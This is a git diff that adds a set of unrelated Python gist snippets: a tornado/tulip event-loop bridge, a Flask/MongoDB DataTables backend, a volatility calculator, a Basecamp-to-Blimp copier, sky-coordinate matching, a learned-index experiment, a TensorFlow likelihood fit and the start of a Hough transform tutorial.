+        response = self.generic("PATCH", path, data, content_type, **extra)
+        if follow:
+            response = self._handle_redirects(response, **extra)
+        return response
+
+    if not hasattr(client, "_patched"):
+        client._patched = True
+        client.Client.patch = _method
+
diff --git a/hard-gists/4582282/._snippet.py b/hard-gists/4582282/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4582282/._snippet.py differ
diff --git a/hard-gists/4582282/snippet.py b/hard-gists/4582282/snippet.py
new file mode 100644
index 00000000..d34d491f
--- /dev/null
+++ b/hard-gists/4582282/snippet.py
@@ -0,0 +1,265 @@
+"""Proof of concept tornado/tulip integration.
+
+Works with the current development branch of both projects as of
+Jan 20.  Current status:  The tornado test suite passes cleanly
+on a tulip-backed IOLoop.  The tornado-backed event loop for tulip
+supports the core call_later and add_reader method families, but not
+the higher-level networking methods.
+
+To run the tornado test suite on tulip, make sure both projects
+and this file are on your python path and run:
+  python3.3 -m tornado.test.runtests --ioloop=tornado_tulip.TulipIOLoop
+
+To run the tulip event loop test suite on tornado (still very
+incomplete with many tests failing or skipped):
+  python3.3 tornado_tulip.py
+"""
+
+import datetime
+import functools
+import os
+
+import tulip.events
+
+from tornado.ioloop import IOLoop
+from tornado import stack_context
+
+class TulipIOLoop(IOLoop):
+    def initialize(self):
+        self.tulip_loop = tulip.events.new_event_loop()
+        # Maps fd to handler function (as in IOLoop.add_handler)
+        self.handlers = {}
+        # Maps fd to reader/writer tulip.events.Handler objects
+        self.readers = {}
+        self.writers = {}
+        self.closing = False
+
+    def close(self, all_fds=False):
+        self.closing = True
+        for fd in list(self.handlers):
+            self.remove_handler(fd)
+            if all_fds:
+                os.close(fd)
+        self.tulip_loop.close()
+
+    def add_handler(self, fd, handler, events):
+        if fd in self.handlers:
+            raise ValueError("fd %d added twice" % fd)
+        self.handlers[fd] = stack_context.wrap(handler)
+        if events & IOLoop.READ:
+            self.readers[fd] = self.tulip_loop.add_reader(
+                fd, self._handle_events, fd, IOLoop.READ)
+        if events & IOLoop.WRITE:
+            self.writers[fd] = self.tulip_loop.add_writer(
+                fd, self._handle_events, fd, IOLoop.WRITE)
+
+    def update_handler(self, fd, events):
+        if events & IOLoop.READ:
+            if fd not in self.readers:
+                self.readers[fd] = self.tulip_loop.add_reader(
+                    fd, self._handle_events, fd, IOLoop.READ)
+        else:
+            if fd in self.readers:
+                self.tulip_loop.remove_reader(fd)
+                self.readers.pop(fd).cancel()
+        if events & IOLoop.WRITE:
+            if fd not in self.writers:
+                self.writers[fd] = self.tulip_loop.add_writer(
+                    fd, self._handle_events, fd, IOLoop.WRITE)
+        else:
+            if fd in self.writers:
+                self.tulip_loop.remove_writer(fd)
+                self.writers.pop(fd).cancel()
+
+    def remove_handler(self, fd):
+        if fd not in self.handlers:
+            return
+        if fd in self.readers:
+            self.tulip_loop.remove_reader(fd)
+            self.readers.pop(fd).cancel()
+        if fd in self.writers:
+            self.tulip_loop.remove_writer(fd)
+            self.writers.pop(fd).cancel()
+        del self.handlers[fd]
+
+    def _handle_events(self, fd, events):
+        try:
+            self.handlers[fd](fd, events)
+        except KeyError:
+            print(fd, events)
+            print('read', IOLoop.READ)
+            import traceback
+            print(''.join(traceback.format_stack()))
+            raise
+
+    def start(self):
+        self.tulip_loop.run_forever()
+
+    def stop(self):
+        self.tulip_loop.stop()
+
+    def _run_callback(self, callback, *args, **kwargs):
+        try:
+            callback(*args, **kwargs)
+        except Exception:
+            self.handle_callback_exception(callback)
+
+    def add_timeout(self, deadline, callback):
+        if isinstance(deadline, (int, float)):
+            delay = max(deadline - self.time(), 0)
+        elif isinstance(deadline, datetime.timedelta):
+            delay = deadline.total_seconds()
+        else:
+            raise TypeError("Unsupported deadline %r", deadline)
+        return self.tulip_loop.call_later(delay, self._run_callback,
+                                          stack_context.wrap(callback))
+
+    def remove_timeout(self, timeout):
+        timeout.cancel()
+
+    def add_callback(self, callback, *args, **kwargs):
+        if self.closing:
+            raise RuntimeError("IOLoop is closing")
+        if kwargs:
+            self.tulip_loop.call_soon_threadsafe(functools.partial(
+                    self._run_callback, stack_context.wrap(callback),
+                    *args, **kwargs))
+        else:
+            self.tulip_loop.call_soon_threadsafe(
+                self._run_callback, stack_context.wrap(callback), *args)
+
+    add_callback_from_signal = add_callback
+
+
+class TornadoEventLoop(tulip.events.EventLoop):
+    def __init__(self, io_loop=None):
+        self.io_loop = io_loop or IOLoop()
+        self.running_until_idle = False
+        self.fds = {}
+
+    def run(self):
+        self.running_until_idle = True
+        self.call_soon(lambda:None)
+        self.io_loop.start()
+
+    def stop(self):
+        self.io_loop.stop()
+
+    def close(self):
+        self.io_loop.close()
+
+    def call_later(self, delay, callback, *args):
+        handler = tulip.events.make_handler(None, callback, args)
+        self.io_loop.add_timeout(
+            datetime.timedelta(seconds=delay),
+            functools.partial(self._run_handler, handler))
+
+    def call_repeatedly(self, interval, callback, *args):
+        def wrapper():
+            callback(*args)
+            self.call_later(interval, wrapper)
+        self.call_later(interval, wrapper)
+
+    def call_soon(self, callback, *args):
+        handler = tulip.events.make_handler(None, callback, args)
+        self.io_loop.add_callback(functools.partial(self._run_handler, handler))
+        return handler
+
+    call_soon_threadsafe = call_soon
+
+    def add_reader(self, fd, callback, *args):
+        handler = tulip.events.make_handler(None, callback, args)
+        if fd in self.fds:
+            (_, writer) = self.fds[fd]
+            self.fds[fd] = (handler, writer)
+            self._io_loop.update_handler(fd, IOLoop.READ | IOLoop.WRITE)
+        else:
+            with stack_context.NullContext():
+                self.fds[fd] = (handler, None)
+                self.io_loop.add_handler(fd, self._handle_events, IOLoop.READ)
+        return handler
+
+    def remove_reader(self, fd):
+        if fd not in self.fds:
+            return False
+        reader, writer = self.fds[fd]
+        if reader is None:
+            return False
+        if writer is not None:
+            self.fds[fd] = (None, writer)
+            self.io_loop.update_handler(fd, IOLoop.WRITE)
+        else:
+            del self.fds[fd]
+            self.io_loop.remove_handler(fd)
+        return True
+
+    def add_writer(self, fd, callback, *args):
+        handler = tulip.events.make_handler(None, callback, args)
+        if fd in self.fds:
+            (reader, _) = self.fds[fd]
+            self.fds[fd] = (reader, handler)
+            self._io_loop.update_handler(fd, IOLoop.READ | IOLoop.WRITE)
+        else:
+            with stack_context.NullContext():
+                self.fds[fd] = (None, handler)
+                self.io_loop.add_handler(fd, self._handle_events, IOLoop.WRITE)
+        return handler
+
+    def remove_writer(self, fd):
+        if fd not in self.fds:
+            return False
+        reader, writer = self.fds[fd]
+        if writer is None:
+            return False
+        if reader is not None:
+            self.fds[fd] = (reader, None)
+            self.io_loop.update_handler(fd, IOLoop.READ)
+        else:
+            del self.fds[fd]
+            self.io_loop.remove_handler(fd)
+        return True
+
+    def _handle_events(self, fd, events):
+        reader, writer = self.fds[fd]
+        if reader is not None and events & IOLoop.READ:
+            if reader.cancelled:
+                self.remove_reader(fd)
+                self._stop_if_idle()
+            else:
+                self._run_handler(reader)
+        if writer is not None and events & IOLoop.WRITE:
+            if writer.cancelled:
+                self.remove_writer(fd)
+                self._stop_if_idle()
+            else:
+                self._run_handler(writer)
+
+    def _run_handler(self, handler):
+        if not handler.cancelled:
+            handler.callback(*handler.args)
+        self._stop_if_idle()
+
+    def _stop_if_idle(self):
+        if (self.running_until_idle and
+            len(self.io_loop._handlers) <= 1 and  # don't count the waker pipe
+            not self.io_loop._callbacks and
+            not self.io_loop._timeouts):
+            self.io_loop.stop()
+
+    def create_connection(*args, **kw):
+        raise unittest.SkipTest('not yet')
+
+    def add_signal_handler(self, sig, callback, *args):
+        raise unittest.SkipTest('not supported')
+
+    def call_every_iteration(self, callback, *args):
+        raise unittest.SkipTest('not supported')
+
+if __name__ == '__main__':
+    import tulip.events_test
+    import unittest
+    class TornadoEventLoopTests(tulip.events_test.EventLoopTestsMixin, unittest.TestCase):
+        def setUp(self):
+            self.event_loop = TornadoEventLoop()
+            tulip.events.set_event_loop(self.event_loop)
+    unittest.main()
diff --git a/hard-gists/4586359/._snippet.py b/hard-gists/4586359/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4586359/._snippet.py differ
diff --git a/hard-gists/4586359/snippet.py b/hard-gists/4586359/snippet.py
new file mode 100644
index 00000000..0dc99c06
--- /dev/null
+++ b/hard-gists/4586359/snippet.py
@@ -0,0 +1,163 @@
+from collections import namedtuple
+from pymongo import MongoClient
+from flask import request
+from core.web.site import app
+from core.web.site.views_master import *
+import json
+
+'''
+$('#companies').dataTable( {
+            "bProcessing": true,
+            "bServerSide": true,
+            "sPaginationType": "full_numbers",
+            "bjQueryUI": true,
+            "sAjaxSource": "/_retrieve_server_data"
+});
+ 
+'''
+# create an app.route for your javascript. see above ^ for javascript implementation
+@app.route("/_retrieve_server_data")
+def get_server_data():
+ 
+    columns = [ 'column_1', 'column_2', 'column_3', 'column_4']
+    index_column = "_id"
+    collection = "collection_name"
+ 
+    results = DataTablesServer(request, columns, index_column, collection).output_result()
+     
+    # return the results as a string for the datatable
+    return json.dumps(results)
+
+# translation for sorting between datatables and mongodb
+order_dict = {'asc': 1, 'desc': -1}
+
+class DataTablesServer(object):
+ 
+    def __init__( self, request, columns, index, collection):
+ 
+        self.columns = columns
+        self.index = index
+        self.collection = collection
+         
+        # values specified by the datatable for filtering, sorting, paging
+        self.request_values = request.values
+         
+        # connection to your mongodb (see pymongo docs). this is defaulted to localhost
+        self.dbh = MongoClient()
+ 
+        # results from the db
+        self.result_data = None
+         
+        # total in the table after filtering
+        self.cardinality_filtered = 0
+ 
+        # total in the table unfiltered
+        self.cardinality = 0
+ 
+        self.run_queries()
+
+    def output_result(self):
+                
+        output = {}
+        output['sEcho'] = str(int(self.request_values['sEcho']))
+        output['iTotalRecords'] = str(self.cardinality)
+        output['iTotalDisplayRecords'] = str(self.cardinality_filtered)
+        aaData_rows = []
+ 
+        for row in self.result_data:
+            aaData_row = []
+            for i in range( len(self.columns) ):
+ 
+                aaData_row.append(row[ self.columns[i] ].replace('"','\\"'))
+             
+            # add additional rows here that are not represented in the database
+            # aaData_row.append(('''<input id='%s' type='checkbox'></input>''' % (str(row[ self.index ]))).replace('\\', ''))
+ 
+            aaData_rows.append(aaData_row)
+ 
+        output['aaData'] = aaData_rows
+ 
+        return output
+
+    def run_queries(self):
+ 
+        # 'mydb' is the actual name of your database
+        mydb = self.dbh.mydb
+ 
+        # pages has 'start' and 'length' attributes
+        pages = self.paging()
+         
+        # the term you entered into the datatable search
+        _filter = self.filtering()
+         
+        # the document field you chose to sort
+        sorting = self.sorting()
+ 
+        # get result from db to display on the current page
+        self.result_data = list(mydb[self.collection].find(spec = _filter,
+                                                           skip = pages.start,
+                                                           limit = pages.length,
+                                                           sort = sorting))
+ 
+        # length of filtered set  
+        self.cardinality_filtered = len(list(mydb[self.collection].find(spec = _filter)))
+        
+        # length of all results you wish to display in the datatable, unfiltered
+        self.cardinality = len(list( mydb[self.collection].find()))
+ 
+    def filtering(self):
+         
+        # build your filter spec
+        _filter = {}
+        if ( self.request_values.has_key('sSearch') ) and ( self.request_values['sSearch'] != "" ):
+             
+            # the term put into search is logically concatenated with 'or' between all columns
+            or_filter_on_all_columns = []
+             
+            for i in range( len(self.columns) ):
+                column_filter = {}
+                # case insensitive partial string matching pulled from user input
+                column_filter[self.columns[i]] = {'$regex': self.request_values['sSearch'], '$options': 'i'}
+                or_filter_on_all_columns.append(column_filter)
+            
+            _filter['$or'] = or_filter_on_all_columns
+        
+        # individual column filtering - uncomment if needed
+        
+        #and_filter_individual_columns = []
+        #for i in range(len(columns)):
+        #    if (request_values.has_key('sSearch_%d' % i) and request_values['sSearch_%d' % i] != ''):
+        #        individual_column_filter = {}
+        #        individual_column_filter[columns[i]] = {'$regex': request_values['sSearch_%d' % i], '$options': 'i'}
+        #        and_filter_individual_columns.append(individual_column_filter)
+
+        #if and_filter_individual_columns:
+        #    _filter['$and'] = and_filter_individual_columns
+       
+        return _filter
+  
+    def sorting(self):
+                
+        order = []
+        # mongo translation for sorting order
+        if ( self.request_values['iSortCol_0'] != "" ) and ( self.request_values['iSortingCols'] > 0 ):
+            
+            for i in range( int(self.request_values['iSortingCols']) ):
+                # column number
+                column_number = int(self.request_values['iSortCol_'+str(i)])
+                # sort direction
+                sort_direction = self.request_values['sSortDir_'+str(i)]
+                
+                order.append((self.columns[column_number], order_dict[sort_direction]))
+        
+        return order
+ 
+    def paging(self):
+                
+        pages = namedtuple('pages', ['start', 'length'])
+        
+        if (self.request_values['iDisplayStart'] != "" ) and (self.request_values['iDisplayLength'] != -1 ):
+            pages.start = int(self.request_values['iDisplayStart'])
+            pages.length = int(self.request_values['iDisplayLength'])
+        
+        return pages
diff --git a/hard-gists/4587049/._snippet.py b/hard-gists/4587049/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4587049/._snippet.py differ
diff --git a/hard-gists/4587049/snippet.py b/hard-gists/4587049/snippet.py
new file mode 100644
index 00000000..78468491
--- /dev/null
+++ b/hard-gists/4587049/snippet.py
@@ -0,0 +1,18 @@
+#/usr/bin/env python
+
+from pandas import np
+from pandas.io.data import DataReader
+
+
+def historical_volatility(sym, days):
+    "Return the annualized stddev of daily log returns of `sym`."
+    try:
+        quotes = DataReader(sym, 'yahoo')['Close'][-days:]
+    except Exception, e:
+        print "Error getting data for symbol '{}'.\n".format(sym), e
+        return None, None
+    logreturns = np.log(quotes / quotes.shift(1))
+    return np.sqrt(252*logreturns.var())
+
+if __name__ == "__main__":
+    print historical_volatility('GOOG', 30)
\ No newline at end of file
diff --git a/hard-gists/4594879/._snippet.py b/hard-gists/4594879/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4594879/._snippet.py differ
diff --git a/hard-gists/4594879/snippet.py b/hard-gists/4594879/snippet.py
new file mode 100644
index 00000000..6ec5b8c8
--- /dev/null
+++ b/hard-gists/4594879/snippet.py
@@ -0,0 +1,75 @@
+from concurrent.futures import ThreadPoolExecutor
+from functools import partial, wraps
+import time
+
+import tornado.ioloop
+import tornado.web
+
+
+EXECUTOR = ThreadPoolExecutor(max_workers=4)
+
+
+def unblock(f):
+
+    @tornado.web.asynchronous
+    @wraps(f)
+    def wrapper(*args, **kwargs):
+        self = args[0]
+
+        def callback(future):
+            self.write(future.result())
+            self.finish()
+
+        EXECUTOR.submit(
+            partial(f, *args, **kwargs)
+        ).add_done_callback(
+            lambda future: tornado.ioloop.IOLoop.instance().add_callback(
+                partial(callback, future)))
+
+    return wrapper
+
+
+class MainHandler(tornado.web.RequestHandler):
+
+    def get(self):
+        self.write("Hello, world %s" % time.time())
+
+
+class SleepHandler(tornado.web.RequestHandler):
+
+    @unblock
+    def get(self, n):
+        time.sleep(float(n))
+        return "Awake! %s" % time.time()
+
+
+class SleepAsyncHandler(tornado.web.RequestHandler):
+
+    @tornado.web.asynchronous
+    def get(self, n):
+
+        def callback(future):
+            self.write(future.result())
+            self.finish()
+
+        EXECUTOR.submit(
+            partial(self.get_, n)
+        ).add_done_callback(
+            lambda future: tornado.ioloop.IOLoop.instance().add_callback(
+                partial(callback, future)))
+
+    def get_(self, n):
+        time.sleep(float(n))
+        return "Awake! %s" % time.time()
+
+
+application = tornado.web.Application([
+    (r"/", MainHandler),
+    (r"/sleep/(\d+)", SleepHandler),
+    (r"/sleep_async/(\d+)", SleepAsyncHandler),
+])
+
+
+if __name__ == "__main__":
+    application.listen(8888)
+    tornado.ioloop.IOLoop.instance().start()
diff --git a/hard-gists/4598017/._snippet.py b/hard-gists/4598017/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4598017/._snippet.py differ
diff --git a/hard-gists/4598017/snippet.py b/hard-gists/4598017/snippet.py
new file mode 100644
index 00000000..47298907
--- /dev/null
+++ b/hard-gists/4598017/snippet.py
@@ -0,0 +1,83 @@
+"""
+A simple script to copy a Basecamp classic todo list
+over to Blimp as a goal with tasks
+
+@author: Dave Jeffery
+
+@requirements:
+pip install git+git://github.com/nowherefarm/basecamp.git
+pip install blimp
+"""
+
+import blimp
+from basecamp import Basecamp
+import elementtree.ElementTree as ET
+
+bc = Basecamp('https://MYCOMPANY.basecamphq.com', 'username', 'password')
+bl = blimp.Client('username', 'api_key', 'app_id', 'app_secret')
+
+def _get_todo_list(id):
+    xml = bc.todo_list(id)
+        
+    todo_list = {
+        'name': ET.fromstring(xml).find('name').text,
+        'items': []
+    }
+    
+    items = ET.fromstring(xml).findall('todo-items/todo-item')
+    for item in items:
+        todo_list['items'].append(item.find("content").text)
+        
+    return todo_list
+    
+        
+def _iterate_and_print(obj):
+    for obj in obj['objects']:
+        print str(obj['id']) + ': ' + obj['name']
+        
+        
+def _create_task_list(todo_list, project_id):
+    project_uri = '/api/v2/project/' + str(project_id) + '/'
+    
+    goal_data = {
+        'project': project_uri,
+        'title': todo_list['name'],
+    }
+    goal = bl.goal.create(goal_data)
+    
+    print "Populating the task list..."
+    
+    i = 0
+    for todo in todo_list['items']:
+        task_data = {
+            'goal': goal['resource_uri'],
+            'title': todo
+        }
+        bl.task.create(task_data)
+        i = i + 1
+         
+    print "Added " + str(i) + " tasks."
+    
+
+if __name__ == "__main__":
+    print "Enter the id of the Basecamp todo list you want to copy over:"   
+    bc_todo_id = int(raw_input("> "))
+    print "Fetching todos..."
+    todo_list = _get_todo_list(bc_todo_id)
+    print "Done!"
+    
+    print "\nOk, lets find the Blimp project that you wish to copy this todo list to..."
+    
+    companies = bl.company()
+    print "\nEnter the `id` of the *company* (or just press enter to choose the first option):"
+    _iterate_and_print(companies)
+    company_id = raw_input("> ") or companies['objects'][0]['id']
+    
+    projects = bl.project(params={'company': company_id})
+    print "\nEnter the `id` of the *project* (or just press enter to choose the first option):"
+    _iterate_and_print(projects)
+    project_id = raw_input("> ") or projects['objects'][0]['id']
+    
+    print "\nOk, creating the task list..."
+    _create_task_list(todo_list, project_id)
+    print "Aww yeah, we're done! Exiting."
\ No newline at end of file
diff --git a/hard-gists/4599814/._snippet.py b/hard-gists/4599814/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4599814/._snippet.py differ
diff --git a/hard-gists/4599814/snippet.py b/hard-gists/4599814/snippet.py
new file mode 100644
index 00000000..479314d0
--- /dev/null
+++ b/hard-gists/4599814/snippet.py
@@ -0,0 +1,142 @@
+"""
+Match two sets of on-sky coordinates to each other.
+I.e., find nearest neighbor of one that's in the other.
+
+Similar in purpose to IDL's spherematch, but totally different implementation.
+
+Requires numpy and scipy.
+"""
+from __future__ import division
+import numpy as np
+try:
+    from scipy.spatial import cKDTree as KDT
+except ImportError:
+    from scipy.spatial import KDTree as KDT
+
+
+
+
+
+def spherematch(ra1, dec1, ra2, dec2, tol=None, nnearest=1):
+    """
+    Finds matches in one catalog to another.
+
+    Parameters
+    ra1 : array-like
+        Right Ascension in degrees of the first catalog
+    dec1 : array-like
+        Declination in degrees of the first catalog (shape of array must match `ra1`)
+    ra2 : array-like
+        Right Ascension in degrees of the second catalog
+    dec2 : array-like
+        Declination in degrees of the second catalog (shape of array must match `ra2`)
+    tol : float or None, optional
+        How close (in degrees) a match has to be to count as a match.  If None,
+        all nearest neighbors for the first catalog will be returned.
+    nnearest : int, optional
+        The nth neighbor to find.  E.g., 1 for the nearest nearby, 2 for the
+        second nearest neighbor, etc.  Particularly useful if you want to get
+        the nearest *non-self* neighbor of a catalog.  To do this, use:
+        ``spherematch(ra, dec, ra, dec, nnearest=2)``
+
+    Returns
+    -------
+    idx1 : int array
+        Indecies into the first catalog of the matches. Will never be
+        larger than `ra1`/`dec1`.
+    idx2 : int array
+        Indecies into the second catalog of the matches. Will never be
+        larger than `ra1`/`dec1`.
+    ds : float array
+        Distance (in degrees) between the matches
+
+
+
+    """
+
+    ra1 = np.array(ra1, copy=False)
+    dec1 = np.array(dec1, copy=False)
+    ra2 = np.array(ra2, copy=False)
+    dec2 = np.array(dec2, copy=False)
+
+    if ra1.shape != dec1.shape:
+        raise ValueError('ra1 and dec1 do not match!')
+    if ra2.shape != dec2.shape:
+        raise ValueError('ra2 and dec2 do not match!')
+
+    x1, y1, z1 = _spherical_to_cartesian(ra1.ravel(), dec1.ravel())
+
+    # this is equivalent to, but faster than just doing np.array([x1, y1, z1])
+    coords1 = np.empty((x1.size, 3))
+    coords1[:, 0] = x1
+    coords1[:, 1] = y1
+    coords1[:, 2] = z1
+
+    x2, y2, z2 = _spherical_to_cartesian(ra2.ravel(), dec2.ravel())
+
+    # this is equivalent to, but faster than just doing np.array([x1, y1, z1])
+    coords2 = np.empty((x2.size, 3))
+    coords2[:, 0] = x2
+    coords2[:, 1] = y2
+    coords2[:, 2] = z2
+
+    kdt = KDT(coords2)
+    if nnearest == 1:
+        idxs2 = kdt.query(coords1)[1]
+    elif nnearest > 1:
+        idxs2 = kdt.query(coords1, nnearest)[1][:, -1]
+    else:
+        raise ValueError('invalid nnearest ' + str(nnearest))
+
+    ds = _great_circle_distance(ra1, dec1, ra2[idxs2], dec2[idxs2])
+
+    idxs1 = np.arange(ra1.size)
+
+    if tol is not None:
+        msk = ds < tol
+        idxs1 = idxs1[msk]
+        idxs2 = idxs2[msk]
+        ds = ds[msk]
+
+    return idxs1, idxs2, ds
+
+
+def _spherical_to_cartesian(ra, dec):
+    """
+    (Private internal function)
+    Inputs in degrees.  Outputs x,y,z
+    """
+    rar = np.radians(ra)
+    decr = np.radians(dec)
+
+    x = np.cos(rar) * np.cos(decr)
+    y = np.sin(rar) * np.cos(decr)
+    z = np.sin(decr)
+
+    return x, y, z
+
+
+def _great_circle_distance(ra1, dec1, ra2, dec2):
+    """
+    (Private internal function)
+    Returns great circle distance.  Inputs in degrees.
+
+    Uses vicenty distance formula - a bit slower than others, but
+    numerically stable.
+    """
+    from numpy import radians, degrees, sin, cos, arctan2, hypot
+
+    # terminology from the Vicenty formula - lambda and phi and
+    # "standpoint" and "forepoint"
+    lambs = radians(ra1)
+    phis = radians(dec1)
+    lambf = radians(ra2)
+    phif = radians(dec2)
+
+    dlamb = lambf - lambs
+
+    numera = cos(phif) * sin(dlamb)
+    numerb = cos(phis) * sin(phif) - sin(phis) * cos(phif) * cos(dlamb)
+    numer = hypot(numera, numerb)
+    denom = sin(phis) * sin(phif) + cos(phis) * cos(phif) * cos(dlamb)
+    return degrees(arctan2(numer, denom))
diff --git a/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/._snippet.py b/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/._snippet.py differ
diff --git a/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/snippet.py b/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/snippet.py
new file mode 100644
index 00000000..b836952a
--- /dev/null
+++ b/hard-gists/45c1c820a8fa67d8e17e3079d6aa2a65/snippet.py
@@ -0,0 +1,148 @@
+import click
+
+import torch
+import torch.autograd
+import torch.nn.functional as F
+from torch.autograd import Variable
+
+import os
+import random
+import math
+from bisect import bisect_left
+
+url_to_english_words = \
+    'https://raw.githubusercontent.com/dwyl/english-words/master/words.txt'
+
+
+def get_english_words():
+    if not os.path.isfile('words.txt'):
+        import subprocess
+        subprocess.call(['wget', url_to_english_words])
+
+    with open('words.txt') as f:
+        english_words = []
+        for line in f:
+            english_words.append(line.strip())
+
+    return english_words
+
+
+def exponential_distribution(lambda_=1.0):
+    u = random.random()
+    x = - math.log(u) / lambda_
+    return x
+
+
+def sorted_numbers(N=1000):
+    # TODO: more complicated list
+    numbers = [exponential_distribution() for _ in range(N)]
+    numbers = sorted(numbers)
+    def random_fun():
+        x = random.choice(numbers)
+        y = numbers.index(x)
+        return x, y
+    return numbers, random_fun
+
+
+def sorted_hash_map(N=1000):
+    # ignore the map for now, just get random hashes
+    english_words = get_english_words()
+    english_words = english_words[:N]
+    hashes = [hash(word) for word in english_words]
+    hashes = sorted(hashes)  # pseudo hash map
+    def random_fun():
+        index = random.randint(0, N - 1)
+        word = english_words[index]
+        hash_ = hashes[index]
+        return word, index
+    return hashes, random_fun
+
+
+def get_model(dim=128):
+    model = torch.nn.Sequential(
+          torch.nn.Linear(1, dim),
+          torch.nn.ReLU(),
+          torch.nn.Linear(dim, 1),
+        )
+    return model
+
+
+def _featurize(x):
+    return torch.unsqueeze(Variable(torch.Tensor(x)), 1)
+
+
+def naive_index_search(x, numbers):
+    for idx, n in enumerate(numbers):
+        if n > x:
+            break
+    return idx - 1
+
+
+def bisect_search(x, numbers):
+    i = bisect_left(numbers, x)
+    if i:
+        return i - 1
+    raise ValueError
+
+
+@click.command()
+@click.argument('mode', type=click.Choice(['ranged', 'hash', 'bloom']))
+@click.option('--n', default=1000, type=int,
+    help='Size of sorted array.')
+@click.option('--lr', default=9e-3, type=float,
+    help='Learning rate of DL model (only parameter that matters!)')
+def main(mode, n, lr):
+    """CLI for creating machine learned index.
+    """
+    N = n
+
+    if mode == 'ranged':
+        numbers, random_fun = sorted_numbers(N)
+    elif mode == 'hash':
+        raise NotImplementedError
+    elif mode == 'bloom':
+        raise NotImplementedError
+
+    model = get_model()
+    optimizer = torch.optim.Adam(model.parameters(), lr=lr)
+
+    try:
+        while True:
+
+            batch_x = []; batch_y = []
+            for _ in range(32):
+                x, y = random_fun()
+                batch_x.append(x)
+                batch_y.append(y)
+
+            batch_x = _featurize(batch_x)
+            batch_y = _featurize(batch_y)
+
+            pred = model(batch_x) * N
+
+            output = F.smooth_l1_loss(pred, batch_y)
+            loss = output.data[0]
+
+            print(loss)
+
+            optimizer.zero_grad()
+            output.backward()
+            optimizer.step()
+
+    except KeyboardInterrupt:
+        pass
+
+    def _test(x):
+        pred = model(_featurize([x])) * N
+        # idx = naive_index_search(x, numbers)
+        idx = bisect_search(x, numbers)
+        print('Real:', idx, 'Predicted:', float(pred.data[0]))
+
+    _test(1.5)
+
+    import pdb
+    pdb.set_trace()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/45c3d886c182a1ea26d5/._snippet.py b/hard-gists/45c3d886c182a1ea26d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/45c3d886c182a1ea26d5/._snippet.py differ
diff --git a/hard-gists/45c3d886c182a1ea26d5/snippet.py b/hard-gists/45c3d886c182a1ea26d5/snippet.py
new file mode 100644
index 00000000..e473ffd7
--- /dev/null
+++ b/hard-gists/45c3d886c182a1ea26d5/snippet.py
@@ -0,0 +1,48 @@
+import numpy as np
+import tensorflow as tf
+from scipy.optimize import minimize
+import matplotlib
+matplotlib.use('PDF')
+import matplotlib.pyplot as plt
+
+# Generate dataset
+data = np.random.normal(0, 1, 1000)
+
+sess = tf.Session()
+
+# Lots of casting here, unfortunately
+X = tf.Variable(data)
+mu = tf.Variable(np.float64(1))
+sigma = tf.Variable(np.float64(1))
+
+# Define negative log-likelihood and gradient
+def normal_log(X, mu, sigma, left=-np.inf, right=np.inf):
+    val = -tf.log(tf.constant(np.sqrt(2 * np.pi), dtype=tf.float64) * sigma) - \
+           tf.pow(X - mu, 2) / (tf.constant(2, dtype=tf.float64) * tf.pow(sigma, 2))
+    return val
+
+nll = -tf.reduce_sum(normal_log(X, mu, sigma))
+grad = tf.gradients(nll, [mu, sigma])
+
+def objective(params):
+    mu_, sigma_ = params
+    return sess.run(nll, feed_dict={ mu: mu_, sigma: sigma_ })
+
+def gradient(params):
+    mu_, sigma_ = params
+    ret =  sess.run(grad, feed_dict={ mu: mu_, sigma: sigma_ })
+    return np.array(ret)
+
+# Variables need to be initialized
+init = tf.initialize_all_variables()
+sess.run(init)
+
+# Find optimum
+ret = minimize(objective, x0=np.array([5, 5]), jac=gradient)
+params = ret['x']
+
+# Plot results
+plt.hist(data, bins=20, histtype='step', color='k', normed=True)
+xs = np.linspace(-5, 5, 200)
+plt.plot(xs, sess.run(tf.exp(normal_log(xs, *params))))
+plt.savefig('out.pdf')
\ No newline at end of file
diff --git a/hard-gists/45cb32dd5c1485e273ab81468e531f09/._snippet.py b/hard-gists/45cb32dd5c1485e273ab81468e531f09/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/45cb32dd5c1485e273ab81468e531f09/._snippet.py differ
diff --git a/hard-gists/45cb32dd5c1485e273ab81468e531f09/snippet.py b/hard-gists/45cb32dd5c1485e273ab81468e531f09/snippet.py
new file mode 100644
index 00000000..52db6a21
--- /dev/null
+++ b/hard-gists/45cb32dd5c1485e273ab81468e531f09/snippet.py
@@ -0,0 +1,163 @@
+
+# imports
+import numpy as np
+import cv2
+import matplotlib.pyplot as plt
+
+
+# The Hough Transform is a popular algorithm for detecting any shape that can
+# be represented in a parametric mathmatical form in binary images. This
+# usually means that images need to be thresholded or filtered prior to running
+# the Hough Transform.
+
+# read in shapes image and convert to grayscale
+shapes = cv2.imread('images/shapes.png')
+cv2.imshow('Original Image', shapes)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
+shapes_grayscale = cv2.cvtColor(shapes, cv2.COLOR_RGB2GRAY)
+
+# blur image (this will help clean up noise for Canny Edge Detection)
+# see Chapter 2.0 for Guassian Blur or check OpenCV documentation
+shapes_blurred = cv2.GaussianBlur(shapes_grayscale, (5, 5), 1.5)
+
+# find Canny Edges and show resulting image
+canny_edges = cv2.Canny(shapes_blurred, 100, 200)
+cv2.imshow('Canny Edges', canny_edges)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
+########################################### HOUGH LINES FROM SCRATCH USING NUMPY
+# Step 1: The Hough transform needs a binary edges images.  For this particular
+# python file, I used the openCV built in Class Canny to create this edge image
+# from the original shapes.png file.
+
+# This is the function that will build the Hough Accumulator for the given image
